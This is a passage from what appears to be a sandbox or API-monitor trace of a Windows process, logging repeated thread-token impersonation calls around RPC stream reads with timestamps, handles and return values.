(Thread=0x0, Token=0x16c) returned 1 [0147.691] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x28, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.691] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.691] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.692] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.692] GetCurrentThread () returned 0xfffffffffffffffe [0147.692] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.692] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.692] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.692] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x63, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.692] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.692] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.693] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.693] GetCurrentThread () returned 0xfffffffffffffffe [0147.693] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.693] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.693] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.693] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.693] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.693] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.694] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.694] GetCurrentThread () returned 0xfffffffffffffffe [0147.694] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.694] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.694] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.694] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.694] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.694] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.695] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.695] GetCurrentThread () returned 0xfffffffffffffffe [0147.695] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.695] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.695] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.695] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x86, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.695] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.695] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.696] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.696] GetCurrentThread () returned 0xfffffffffffffffe [0147.696] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.696] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.696] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.696] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.696] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.696] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.697] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.697] GetCurrentThread () returned 0xfffffffffffffffe [0147.697] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.697] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.697] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.697] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x78, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.697] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.697] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.698] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.698] GetCurrentThread () returned 0xfffffffffffffffe [0147.698] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.698] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.698] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.698] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.698] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.698] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.699] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.699] GetCurrentThread () returned 0xfffffffffffffffe [0147.699] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.699] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.699] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.699] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.699] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.699] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.700] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.700] GetCurrentThread () returned 0xfffffffffffffffe [0147.700] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.700] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.700] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.700] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.700] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.700] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.701] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.701] GetCurrentThread () returned 0xfffffffffffffffe [0147.701] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.701] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.701] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.701] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.701] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.701] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.702] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.702] GetCurrentThread () returned 0xfffffffffffffffe [0147.702] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.702] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.702] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.702] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x39, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.702] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.702] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.703] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.703] GetCurrentThread () returned 0xfffffffffffffffe [0147.703] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.703] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.703] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.703] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x33, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.703] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.703] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.704] GetCurrentThread () returned 0xfffffffffffffffe [0147.704] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.704] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.704] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.704] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xba, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.704] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.704] GetCurrentThread () returned 0xfffffffffffffffe [0147.705] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.705] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.705] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.705] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.705] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.705] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.705] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.705] GetCurrentThread () returned 0xfffffffffffffffe [0147.705] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.705] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.706] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.706] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x51, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.706] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.706] GetCurrentThread () returned 0xfffffffffffffffe [0147.706] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.706] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.706] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.706] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.707] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.707] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.707] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.707] GetCurrentThread () returned 0xfffffffffffffffe [0147.707] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.707] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.707] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.708] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x82, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.708] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.708] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.713] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.713] GetCurrentThread () returned 0xfffffffffffffffe [0147.713] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.713] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.713] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.713] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x40, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.713] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.713] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.714] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.714] GetCurrentThread () returned 0xfffffffffffffffe [0147.714] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.714] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.714] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.714] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x63, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.714] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.714] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.714] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.715] GetCurrentThread () returned 0xfffffffffffffffe [0147.715] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.715] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.715] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.715] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x99, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.715] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.715] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.716] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.716] GetCurrentThread () returned 0xfffffffffffffffe [0147.716] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.716] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.716] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.716] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.716] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.717] GetCurrentThread () returned 0xfffffffffffffffe [0147.717] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.717] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.717] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.717] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x77, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.718] GetCurrentThread () returned 0xfffffffffffffffe [0147.718] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.718] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.718] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.718] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.718] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.718] GetCurrentThread () returned 0xfffffffffffffffe [0147.718] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.719] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.719] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.719] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.719] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.719] GetCurrentThread () returned 0xfffffffffffffffe [0147.720] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.720] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.720] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.720] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xeb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.720] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.720] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.720] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.720] GetCurrentThread () returned 0xfffffffffffffffe [0147.720] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.720] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.721] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.721] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.721] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.721] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.721] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.721] GetCurrentThread () returned 0xfffffffffffffffe [0147.721] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.721] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.721] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.721] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.721] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.722] GetCurrentThread () returned 0xfffffffffffffffe [0147.722] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.722] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.722] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.722] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.722] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.723] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.723] GetCurrentThread () returned 0xfffffffffffffffe [0147.723] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.723] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.723] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.723] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x53, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.723] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.724] GetCurrentThread () returned 0xfffffffffffffffe [0147.724] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.724] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.724] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.724] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.724] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.725] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.725] GetCurrentThread () returned 0xfffffffffffffffe [0147.725] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.725] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.725] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.725] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.725] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.725] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.726] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.726] GetCurrentThread () returned 0xfffffffffffffffe [0147.726] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.726] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.726] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.726] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x19, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.726] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.727] GetCurrentThread () returned 0xfffffffffffffffe [0147.727] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.727] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.727] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.727] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.727] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.727] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.728] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.728] GetCurrentThread () returned 0xfffffffffffffffe [0147.728] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.728] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.728] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.728] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.728] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.728] SetThreadToken (Thread=0x0, Token=0x0) returned 